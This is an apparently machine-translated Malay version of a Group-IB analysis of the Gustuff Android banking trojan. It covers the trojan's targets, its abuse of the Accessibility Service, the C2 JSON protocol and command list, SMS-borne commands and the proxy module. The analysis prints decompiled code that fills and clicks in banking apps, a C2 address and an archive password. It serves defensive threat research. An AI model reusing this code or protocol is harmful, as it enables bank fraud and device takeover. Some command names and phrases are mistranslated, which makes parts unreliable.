Cara Android Trojan Gustuff menyelak krim (fiat dan crypto) daripada akaun anda

Cara Android Trojan Gustuff menyelak krim (fiat dan crypto) daripada akaun anda

Hanya pada hari lain Kumpulan-IB dimaklumkan mengenai aktiviti mudah alih Android Trojan Gustuff. Ia berfungsi secara eksklusif di pasaran antarabangsa, menyerang pelanggan daripada 100 bank asing terbesar, pengguna dompet kripto 32 mudah alih, serta sumber e-dagang yang besar. Tetapi pemaju Gustuff ialah penjenayah siber berbahasa Rusia di bawah nama panggilan Bestoffer. Sehingga baru-baru ini, dia memuji Trojannya sebagai "produk yang serius untuk orang yang mempunyai pengetahuan dan pengalaman."

Pakar analisis kod hasad di Group-IB Ivan Pisarev dalam penyelidikannya, dia bercakap secara terperinci tentang cara Gustuff berfungsi dan apakah bahayanya.

Gustuff memburu siapa?

Gustuff tergolong dalam perisian hasad generasi baharu dengan fungsi automatik sepenuhnya. Menurut pembangun, Trojan telah menjadi versi baru dan dipertingkatkan bagi perisian hasad AndyBot, yang sejak November 2017 telah menyerang telefon Android dan mencuri wang melalui borang web pancingan data yang menyamar sebagai aplikasi mudah alih bank antarabangsa dan sistem pembayaran yang terkenal. Bestoffer melaporkan bahawa harga sewa Gustuff Bot ialah $800 sebulan.

Analisis sampel Gustuff menunjukkan bahawa Trojan berpotensi menyasarkan pelanggan menggunakan aplikasi mudah alih bank terbesar, seperti Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, serta dompet crypto Dompet Bitcoin, BitPay , Cryptopay, Coinbase, dsb.

Pada asalnya dicipta sebagai Trojan perbankan klasik, dalam versi semasa Gustuff telah meluaskan senarai sasaran berpotensi untuk serangan dengan ketara. Selain aplikasi Android untuk bank, syarikat fintech dan perkhidmatan kripto, Gustuff ditujukan kepada pengguna aplikasi pasaran, kedai dalam talian, sistem pembayaran dan utusan segera. Khususnya, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut dan lain-lain.

Titik masuk: pengiraan untuk jangkitan besar-besaran

Gustuff dicirikan oleh vektor penembusan "klasik" ke dalam telefon pintar Android melalui mel SMS dengan pautan ke APK. Apabila peranti Android dijangkiti Trojan atas arahan pelayan, Gustuff boleh terus merebak melalui pangkalan data kenalan telefon yang dijangkiti atau melalui pangkalan data pelayan. Fungsi Gustuff direka untuk jangkitan besar-besaran dan permodalan maksimum perniagaan pengendalinya - ia mempunyai fungsi "auto-isi" yang unik ke dalam aplikasi perbankan mudah alih yang sah dan dompet crypto, yang membolehkan anda mempercepatkan dan menskalakan kecurian wang.

Kajian tentang Trojan menunjukkan bahawa fungsi autofill telah dilaksanakan di dalamnya menggunakan Perkhidmatan Kebolehcapaian, perkhidmatan untuk orang kurang upaya. Gustuff bukanlah Trojan pertama yang berjaya memintas perlindungan terhadap interaksi dengan elemen tetingkap aplikasi lain menggunakan perkhidmatan Android ini. Walau bagaimanapun, penggunaan Perkhidmatan Kebolehcapaian dalam kombinasi dengan pengisi kereta masih agak jarang berlaku.

Selepas memuat turun ke telefon mangsa, Gustuff, menggunakan Perkhidmatan Kebolehcapaian, dapat berinteraksi dengan elemen tetingkap aplikasi lain (perbankan, mata wang kripto, serta aplikasi untuk membeli-belah dalam talian, pemesejan, dll.), melakukan tindakan yang diperlukan untuk penyerang . Sebagai contoh, atas arahan pelayan, Trojan boleh menekan butang dan menukar nilai medan teks dalam aplikasi perbankan. Menggunakan mekanisme Perkhidmatan Kebolehcapaian membolehkan Trojan memintas mekanisme keselamatan yang digunakan oleh bank untuk menentang Trojan mudah alih generasi sebelumnya, serta perubahan dalam dasar keselamatan yang dilaksanakan oleh Google dalam versi baharu OS Android. Oleh itu, Gustuff "tahu bagaimana" untuk melumpuhkan perlindungan Google Protect: menurut pengarang, fungsi ini berfungsi dalam 70% kes.

Cara Android Trojan Gustuff menyelak krim (fiat dan crypto) daripada akaun anda

Gustuff juga boleh memaparkan pemberitahuan PUSH palsu dengan ikon aplikasi mudah alih yang sah. Pengguna mengklik pada pemberitahuan PUSH dan melihat tetingkap pancingan data dimuat turun dari pelayan, di mana dia memasukkan kad bank yang diminta atau data dompet crypto. Dalam senario Gustuff yang lain, aplikasi bagi pihak yang pemberitahuan PUSH dipaparkan dibuka. Dalam kes ini, perisian hasad, atas arahan daripada pelayan melalui Perkhidmatan Kebolehcapaian, boleh mengisi medan borang permohonan perbankan untuk transaksi penipuan.

Fungsi Gustuff juga termasuk menghantar maklumat tentang peranti yang dijangkiti ke pelayan, keupayaan untuk membaca/menghantar mesej SMS, menghantar permintaan USSD, melancarkan Proksi SOCKS5, mengikut pautan, menghantar fail (termasuk imbasan foto dokumen, tangkapan skrin, gambar) ke pelayan , tetapkan semula peranti kepada tetapan kilang.

Analisis perisian hasad

Sebelum memasang aplikasi berniat jahat, OS Android menunjukkan kepada pengguna tetingkap yang mengandungi senarai hak yang diminta oleh Gustuff:

Cara Android Trojan Gustuff menyelak krim (fiat dan crypto) daripada akaun anda
Aplikasi akan dipasang hanya selepas menerima persetujuan pengguna. Selepas melancarkan aplikasi, Trojan akan menunjukkan kepada pengguna tetingkap:

Cara Android Trojan Gustuff menyelak krim (fiat dan crypto) daripada akaun anda
Selepas itu ia akan mengalih keluar ikonnya.

Gustuff dibungkus, menurut penulis, oleh pembungkus dari FTT. Selepas permulaan, aplikasi secara berkala menghubungi pelayan CnC untuk menerima arahan. Beberapa fail yang kami periksa menggunakan alamat IP sebagai pelayan kawalan 88.99.171[.]105 (selepas ini kami akan menyatakannya sebagai <%CnC%>).

Selepas pelancaran, program mula menghantar mesej ke pelayan http://<%CnC%>/api/v1/get.php.

Sambutan dijangka JSON dalam format berikut:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Setiap kali aplikasi itu diakses, ia menghantar maklumat mengenai peranti yang dijangkiti. Format mesej ditunjukkan di bawah. Perlu diingat bahawa bidang penuh, tambahan, aplikasi и kebenaran – pilihan dan akan dihantar hanya sekiranya perintah permintaan daripada CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Menyimpan data konfigurasi

Gustuff menyimpan maklumat operasi penting dalam fail pilihan. Nama fail, serta nama parameter di dalamnya, adalah hasil pengiraan jumlah MD5 daripada rentetan 15413090667214.6.1<%name%>Jika <%name%> — nilai nama awal. Tafsiran Python bagi fungsi penjanaan nama:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Dalam apa yang berikut kita akan menyatakannya sebagai nameGenerator(input).
Jadi nama fail pertama ialah: nameGenerator("API_SERVER_LIST"), ia mengandungi nilai dengan nama berikut:

Nama boleh ubah Nilai
nameGenerator("API_SERVER_LIST") Mengandungi senarai alamat CnC dalam bentuk tatasusunan.
nameGenerator("API_SERVER_URL") Mengandungi alamat CnC.
nameGenerator("SMS_UPLOAD") Bendera ditetapkan secara lalai. Jika bendera ditetapkan, hantar mesej SMS ke CnC.
nameGenerator("SMS_ROOT_NUMBER") Nombor telefon yang mesej SMS yang diterima oleh peranti yang dijangkiti akan dihantar. Lalai adalah batal.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Bendera dikosongkan secara lalai. Jika dipasang, apabila peranti yang dijangkiti menerima SMS, ia akan dihantar ke nombor akar.
nameGenerator("DEFAULT_APP_SMS") Bendera dikosongkan secara lalai. Jika bendera ini ditetapkan, aplikasi akan memproses mesej SMS masuk.
nameGenerator("DEFAULT_ADMIN") Bendera dikosongkan secara lalai. Jika bendera ditetapkan, aplikasi mempunyai hak pentadbir.
nameGenerator("DEFAULT_ACCESSIBILITY") Bendera dikosongkan secara lalai. Jika bendera ditetapkan, perkhidmatan yang menggunakan Perkhidmatan Kebolehcapaian sedang berjalan.
nameGenerator("APPS_CONFIG") Objek JSON yang mengandungi senarai tindakan yang mesti dilakukan apabila peristiwa Kebolehcapaian yang dikaitkan dengan aplikasi tertentu dicetuskan.
nameGenerator("APPS_INSTALLED") Menyimpan senarai aplikasi yang dipasang pada peranti.
nameGenerator("IS_FIST_RUN") Bendera ditetapkan semula pada permulaan pertama.
nameGenerator("UNIQUE_ID") Mengandungi pengecam unik. Dihasilkan apabila bot dilancarkan buat kali pertama.

Modul untuk memproses arahan daripada pelayan

Aplikasi ini menyimpan alamat pelayan CnC dalam bentuk tatasusunan yang dikodkan oleh Pangkalan85 garisan. Senarai pelayan CnC boleh ditukar setelah menerima arahan yang sesuai, dalam hal ini alamat akan disimpan dalam fail pilihan.

Sebagai tindak balas kepada permintaan, pelayan menghantar arahan kepada aplikasi. Perlu diingat bahawa arahan dan parameter dibentangkan dalam format JSON. Aplikasi boleh memproses arahan berikut:

Pasukan Описание
forwardStart Mula menghantar mesej SMS yang diterima oleh peranti yang dijangkiti ke pelayan CnC.
hadapanBerhenti Berhenti menghantar mesej SMS yang diterima oleh peranti yang dijangkiti ke pelayan CnC.
ussdRun Laksanakan permintaan USSD. Nombor yang anda perlukan untuk membuat permintaan USSD terletak dalam medan JSON "nombor".
hantarSms Hantar satu mesej SMS (jika perlu, mesej itu "dipecah" kepada beberapa bahagian). Sebagai parameter, arahan mengambil objek JSON yang mengandungi medan "ke" - nombor destinasi dan "badan" - badan mesej.
hantarSmsAb Hantar mesej SMS (jika perlu, mesej itu "dipecahkan" kepada beberapa bahagian) kepada semua orang dalam senarai kenalan peranti yang dijangkiti. Selang antara menghantar mesej ialah 10 saat. Isi kandungan mesej berada dalam medan JSON "badan"
hantarSmsMass Hantar mesej SMS (jika perlu, mesej itu "dipecahkan" kepada bahagian) kepada kenalan yang dinyatakan dalam parameter arahan. Selang antara menghantar mesej ialah 10 saat. Sebagai parameter, arahan mengambil tatasusunan JSON (medan "sms"), elemen yang mengandungi medan "ke" - nombor destinasi dan "badan" - badan mesej.
changeServer Perintah ini boleh mengambil nilai dengan kunci "url" sebagai parameter - kemudian bot akan menukar nilai nameGenerator("SERVER_URL"), atau "array" - kemudian bot akan menulis tatasusunan kepada nameGenerator (“API_SERVER_LIST”) Oleh itu, aplikasi menukar alamat pelayan CnC.
adminNombor Perintah ini direka bentuk untuk berfungsi dengan nombor akar. Perintah menerima objek JSON dengan parameter berikut: “nombor” — tukar nameGenerator(“ROOT_NUMBER”) kepada nilai yang diterima, “hantar semula” — tukar nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — hantar ke nameGenerator(“ROOT_NUMBER” ) uniqueID.
kemas kiniInfo Hantar maklumat tentang peranti yang dijangkiti ke pelayan.
wipeData Perintah ini bertujuan untuk memadam data pengguna. Bergantung pada nama aplikasi yang dilancarkan, sama ada data dipadamkan sepenuhnya dengan but semula peranti (pengguna utama) atau hanya data pengguna dipadamkan (pengguna kedua).
stokinMula Lancarkan modul Proksi. Pengendalian modul diterangkan dalam bahagian berasingan.
stokinBerhenti Hentikan modul Proksi.
openLink Ikut pautan. Pautan terletak dalam parameter JSON di bawah kekunci "url". “android.intent.action.VIEW” digunakan untuk membuka pautan.
muat naikAllSms Hantar semua mesej SMS yang diterima oleh peranti ke pelayan.
muat naikSemuaFoto Hantar imej daripada peranti yang dijangkiti ke URL. URL datang sebagai parameter.
muat naikFail Hantar fail ke URL daripada peranti yang dijangkiti. URL datang sebagai parameter.
muat naikPhoneNumbers Hantar nombor telefon dari senarai kenalan anda ke pelayan. Jika nilai objek JSON dengan kekunci "ab" diterima sebagai parameter, aplikasi menerima senarai kenalan daripada buku telefon. Jika objek JSON dengan kunci "sms" diterima sebagai parameter, aplikasi membaca senarai kenalan daripada pengirim mesej SMS.
tukarArkib Aplikasi memuat turun fail dari alamat yang datang sebagai parameter menggunakan kekunci "url". Fail yang dimuat turun disimpan dengan nama "archive.zip". Aplikasi kemudiannya akan menyahzip fail, secara pilihan menggunakan kata laluan arkib "b5jXh37gxgHBrZhQ4j3D". Fail yang tidak dizip disimpan dalam direktori [storan luar]/hgps. Dalam direktori ini, aplikasi menyimpan web palsu (diterangkan di bawah).
tindakan Perintah ini direka bentuk untuk berfungsi dengan Perkhidmatan Tindakan, yang diterangkan dalam bahagian yang berasingan.
ujian Tidak melakukan apa-apa.
muat turun Perintah ini bertujuan untuk memuat turun fail dari pelayan jauh dan menyimpannya ke direktori "Muat Turun". URL dan nama fail datang sebagai parameter, medan dalam objek parameter JSON, masing-masing: "url" dan "Nama fail".
mengeluarkan Mengalih keluar fail daripada direktori "Muat Turun". Nama fail terdapat dalam parameter JSON dengan kunci "Nama Fail". Nama fail standard ialah "tmp.apk".
pemberitahuan Tunjukkan pemberitahuan dengan teks penerangan dan tajuk yang ditakrifkan oleh pelayan pengurusan.

Format Perintah pemberitahuan:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Pemberitahuan yang dijana oleh fail yang disiasat kelihatan sama dengan pemberitahuan yang dijana oleh aplikasi yang dinyatakan dalam medan aplikasi. Jika nilai medan openApp — Benar, apabila pemberitahuan dibuka, aplikasi yang dinyatakan dalam medan dilancarkan aplikasi. Jika nilai medan openApp — Salah, maka:

  • Tetingkap pancingan data terbuka, kandungannya dimuat turun dari direktori <%storan luaran%>/hgps/<%filename%>
  • Tetingkap pancingan data dibuka, kandungannya dimuat turun dari pelayan <%url%>?id=<%Bot id%>&app=<%Nama aplikasi%>
  • Tetingkap pancingan data terbuka, menyamar sebagai Kad Google Play, dengan peluang untuk memasukkan butiran kad.

Aplikasi menghantar hasil sebarang arahan ke <%CnC%>set_state.php sebagai objek JSON dalam format berikut:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Senarai arahan yang disertakan dalam proses aplikasi tindakan. Apabila arahan diterima, modul pemprosesan arahan mengakses perkhidmatan ini untuk melaksanakan perintah lanjutan. Perkhidmatan ini menerima objek JSON sebagai parameter. Perkhidmatan ini boleh melaksanakan arahan berikut:

1. PARAMS_ACTION — apabila menerima arahan sedemikian, perkhidmatan mula-mula menerima daripada parameter JSON nilai kekunci Jenis, yang boleh menjadi seperti berikut:

  • info perkhidmatan – subperintah mendapat nilai mengikut kunci daripada parameter JSON sertakanTidakPenting. Jika bendera adalah Benar, aplikasi menetapkan bendera FLAG_ISOLATED_PROCESS kepada perkhidmatan menggunakan Perkhidmatan Kebolehcapaian. Dengan cara ini perkhidmatan akan dilancarkan dalam proses yang berasingan.
  • akar — terima dan hantar kepada pelayan maklumat tentang tetingkap yang sedang dalam fokus. Aplikasi mendapatkan maklumat menggunakan kelas AccessibilityNodeInfo.
  • admin — meminta hak pentadbir.
  • kelewatan — menggantung ActionsService untuk bilangan milisaat yang dinyatakan dalam parameter untuk kunci "data".
  • tingkap — hantar senarai tetingkap yang boleh dilihat oleh pengguna.
  • memasang — pasang aplikasi pada peranti yang dijangkiti. Nama pakej arkib terdapat dalam kekunci "Nama Fail". Arkib itu sendiri terletak dalam direktori Muat Turun.
  • global – subperintah bertujuan untuk menavigasi dari tetingkap semasa:
    • pada menu Tetapan Pantas
    • mundur
    • rumah
    • kepada pemberitahuan
    • ke tetingkap aplikasi yang baru dibuka

  • melancarkan - melancarkan aplikasi. Nama aplikasi datang sebagai parameter mengikut kunci data.
  • bunyi — tukar mod bunyi kepada senyap.
  • membuka kunci — menghidupkan lampu latar skrin dan papan kekunci kepada kecerahan penuh. Aplikasi melakukan tindakan ini menggunakan WakeLock, menyatakan rentetan [Label aplikasi]:INFO sebagai teg
  • permissionOverlay — fungsi tidak dilaksanakan (tindak balas kepada pelaksanaan perintah ialah {"message":"Not support"} atau {"message":"low sdk"})
  • isyarat — fungsi tidak dilaksanakan (tindak balas kepada pelaksanaan perintah ialah {"message":"Not support"}atau {"message":"Low API"})
  • kebenaran — arahan ini diperlukan untuk meminta kebenaran untuk aplikasi. Walau bagaimanapun, fungsi pertanyaan tidak dilaksanakan, jadi arahan itu tidak bermakna. Senarai hak yang diminta datang sebagai tatasusunan JSON dengan kunci "kebenaran". Senarai standard:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • membuka — memaparkan tetingkap pancingan data. Bergantung pada parameter yang datang dari pelayan, aplikasi mungkin memaparkan tetingkap pancingan data berikut:
    • Tunjukkan tetingkap pancingan data yang kandungannya ditulis dalam fail dalam direktori <%external directory%>/hgps/<%param_filename%>. Hasil interaksi pengguna dengan tetingkap akan dihantar ke <%CnC%>/records.php
    • Tunjukkan tetingkap pancingan data yang kandungannya dipramuat daripada alamat <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Hasil interaksi pengguna dengan tetingkap akan dihantar ke <%CnC%>/records.php
    • Tunjukkan tetingkap pancingan data yang menyamar sebagai Kad Google Play.

  • interaktif — arahan direka bentuk untuk berinteraksi dengan elemen tetingkap aplikasi lain menggunakan AcessibilityService. Perkhidmatan khas telah dilaksanakan dalam program untuk interaksi. Aplikasi yang sedang disiasat boleh berinteraksi dengan tingkap:
    • Pada masa ini aktif. Dalam kes ini, parameter mengandungi id atau teks (nama) objek yang anda perlukan untuk berinteraksi.
    • Kelihatan kepada pengguna pada masa arahan itu dilaksanakan. Aplikasi memilih tingkap mengikut id.

    Setelah menerima objek KebolehcapaianNodeInfo Untuk elemen tetingkap yang diminati, aplikasi, bergantung pada parameter, boleh melakukan tindakan berikut:

    • fokus — tetapkan fokus pada objek.
    • klik — klik pada objek.
    • actionId — lakukan tindakan mengikut ID.
    • setText — menukar teks objek. Menukar teks boleh dilakukan dalam dua cara: melakukan tindakan ACTION_SET_TEXT (jika versi Android peranti yang dijangkiti adalah lebih muda daripada atau sama dengan LOLLIPOP), atau dengan meletakkan rentetan pada papan keratan dan menampalnya ke dalam objek (untuk versi lama). Perintah ini boleh digunakan untuk menukar data dalam aplikasi perbankan.

2. PARAMS_ACTIONS - sama seperti PARAMS_ACTION, hanya susunan perintah JSON yang tiba.

Nampaknya ramai orang akan berminat dengan rupa fungsi berinteraksi dengan elemen tetingkap aplikasi lain. Beginilah cara fungsi ini dilaksanakan dalam Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Fungsi penggantian teks:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Oleh itu, dengan konfigurasi pelayan kawalan yang betul, Gustuff dapat mengisi medan teks dalam aplikasi perbankan dan klik pada butang yang diperlukan untuk menyelesaikan transaksi. Trojan tidak perlu log masuk ke aplikasi itu—cukup untuk menghantar arahan untuk memaparkan pemberitahuan PUSH dan kemudian membuka aplikasi perbankan yang dipasang sebelum ini. Pengguna akan mengesahkan dirinya, selepas itu Gustuff akan dapat mengisi kereta.

Modul pemprosesan mesej SMS

Aplikasi ini memasang pengendali acara untuk peranti yang dijangkiti untuk menerima mesej SMS. Aplikasi yang sedang dikaji boleh menerima arahan daripada pengendali, yang terdapat dalam badan mesej SMS. Perintah datang dalam format:

7!5=<%Base64 dikodkan arahan%>

Aplikasi mencari rentetan dalam semua mesej SMS yang masuk 7!5=, apabila rentetan dikesan, ia menyahkod rentetan daripada Base64 pada offset 4 dan melaksanakan arahan. Arahannya serupa dengan arahan yang mempunyai CnC. Hasil pelaksanaan dihantar ke nombor yang sama dari mana arahan itu datang. Format jawapan:

7*5=<%Base64 encode of “result_code command”%>

Secara pilihan, aplikasi boleh menghantar semua mesej yang diterima ke nombor Root. Untuk melakukan ini, nombor Root mesti dinyatakan dalam fail keutamaan dan bendera ubah hala mesej mesti ditetapkan. Mesej SMS dihantar ke nombor penyerang dalam format:

<%Dari nombor%> - <%Masa, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Selain itu, secara pilihan, aplikasi boleh menghantar mesej kepada CnC. Mesej SMS dihantar ke pelayan dalam format JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Jika bendera ditetapkan nameGenerator("DEFAULT_APP_SMS") – aplikasi berhenti memproses mesej SMS dan mengosongkan senarai mesej masuk.

Modul proksi

Aplikasi yang dikaji mengandungi modul Proksi Sambung Balik (selepas ini dirujuk sebagai modul Proksi), yang mempunyai kelas berasingan yang merangkumi medan statik dengan konfigurasi. Data konfigurasi disimpan dalam sampel dalam bentuk yang jelas:

Cara Android Trojan Gustuff menyelak krim (fiat dan crypto) daripada akaun anda

Semua tindakan yang dilakukan oleh modul Proksi dilog masuk ke dalam fail. Untuk melakukan ini, aplikasi dalam Storan Luaran mencipta direktori yang dipanggil "log" (medan ProxyConfigClass.logsDir dalam kelas konfigurasi), di mana fail log disimpan. Pengelogan berlaku dalam fail dengan nama:

  1. main.txt – kerja kelas yang dipanggil CommandServer dilog masuk ke dalam fail ini. Dalam perkara berikut, log rentetan str ke dalam fail ini akan ditandakan sebagai mainLog(str).
  2. sesi-<%id%>.txt — fail ini menyimpan data log yang dikaitkan dengan sesi proksi tertentu. Dalam perkara berikut, log rentetan str ke fail ini akan ditandakan sebagai sessionLog (str).
  3. server.txt – fail ini digunakan untuk log semua data yang ditulis pada fail yang diterangkan di atas.

Format data log:

<%Date%> [Thread[<%thread id%>], id[]]: rentetan log

Pengecualian yang berlaku semasa pengendalian modul Proksi juga dilog ke fail. Untuk melakukan ini, aplikasi menjana objek JSON dalam format berikut:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Kemudian ia menukarnya kepada perwakilan rentetan dan mencatatkannya.

Modul Proksi dilancarkan selepas menerima arahan yang sepadan. Apabila arahan untuk melancarkan modul Proksi diterima, aplikasi memulakan perkhidmatan yang dipanggil Perkhidmatan Utama, yang bertanggungjawab untuk menguruskan operasi modul Proksi - memulakan dan menghentikannya.

Peringkat memulakan perkhidmatan:

1. Mulakan pemasa yang berjalan sekali seminit dan menyemak aktiviti modul Proksi. Jika modul tidak aktif, ia memulakannya.
Juga apabila peristiwa itu dicetuskan android.net.conn.CONNECTIVITY_CHANGE Modul Proksi dilancarkan.

2. Aplikasi mencipta wake-lock dengan parameter SEPARUH_WAKE_LOCK dan menangkapnya. Ini menghalang CPU peranti daripada masuk ke mod tidur.

3. Melancarkan kelas pemprosesan arahan modul Proksi, mula-mula mengelog baris mainLog("mulakan pelayan") и

Pelayan::start() hos[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

mana proxy_cnc, command_port dan proxy_port – parameter yang diperoleh daripada konfigurasi pelayan Proksi.

Kelas pemprosesan arahan dipanggil Sambungan Perintah. Sejurus selepas permulaan, lakukan tindakan berikut:

4. Bersambung ke ProxyConfigClass.host: ProxyConfigClass.commandPort dan menghantar data tentang peranti yang dijangkiti di sana dalam format JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Di mana:

  • id – pengecam, cuba mendapatkan nilai dengan medan “id” daripada fail Keutamaan Dikongsi bernama “x”. Jika nilai ini tidak dapat diperoleh, ia menghasilkan nilai baharu. Oleh itu, modul Proksi mempunyai pengecamnya sendiri, yang dijana sama dengan Bot ID.
  • imei — IMEI peranti. Jika ralat berlaku semasa proses mendapatkan nilai, mesej teks ralat akan ditulis dan bukannya medan ini.
  • imsi — Identiti Pelanggan Mudah Alih Antarabangsa peranti. Jika ralat berlaku semasa proses mendapatkan nilai, mesej teks ralat akan ditulis dan bukannya medan ini.
  • model — Nama yang boleh dilihat oleh pengguna akhir untuk produk akhir.
  • pengilang — Pengilang produk/perkakasan (Build.MANUFACTURER).
  • androidVersion - rentetan dalam format "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • negara — lokasi semasa peranti.
  • partnerId ialah rentetan kosong.
  • packageName – nama pakej.
  • networkType — jenis sambungan rangkaian semasa (contoh: “WIFI”, “MOBILE”). Sekiranya ralat, mengembalikan null.
  • hasGsmSupport – benar – jika telefon menyokong GSM, jika tidak palsu.
  • simReady – keadaan kad SIM.
  • simCountry - Kod negara ISO (berdasarkan pembekal kad SIM).
  • networkOperator — nama operator. Jika ralat berlaku semasa proses mendapatkan nilai, mesej teks ralat akan ditulis dan bukannya medan ini.
  • simOperator — Nama Pembekal Perkhidmatan (SPN). Jika ralat berlaku semasa proses mendapatkan nilai, mesej teks ralat akan ditulis dan bukannya medan ini.
  • versi - medan ini disimpan dalam kelas konfigurasi; untuk versi bot yang diuji adalah sama dengan "1.6".

5. Beralih kepada mod menunggu arahan daripada pelayan. Perintah dari pelayan datang dalam format:

  • 0 offset – arahan
  • 1 offset – sessionId
  • 2 offset – panjang
  • 4 mengimbangi - data

Apabila arahan tiba, log aplikasi:
mainLog("Tajuk { sessionId<%id%>], taip[<%command%>], panjang[<%length%>] }")

Perintah berikut dari pelayan adalah mungkin:

Nama Perintah Tarikh Penerangan Produk
connectionId 0 ID Sambungan Buat sambungan baharu
SLEEP 3 Masa Jeda modul Proksi
PING_PONG 4 - Hantar mesej PONG

Mesej PONG terdiri daripada 4 bait dan kelihatan seperti ini: 0x04000000.

Apabila arahan connectionId diterima (untuk membuat sambungan baharu) Sambungan Perintah mencipta contoh kelas ProxyConnection.

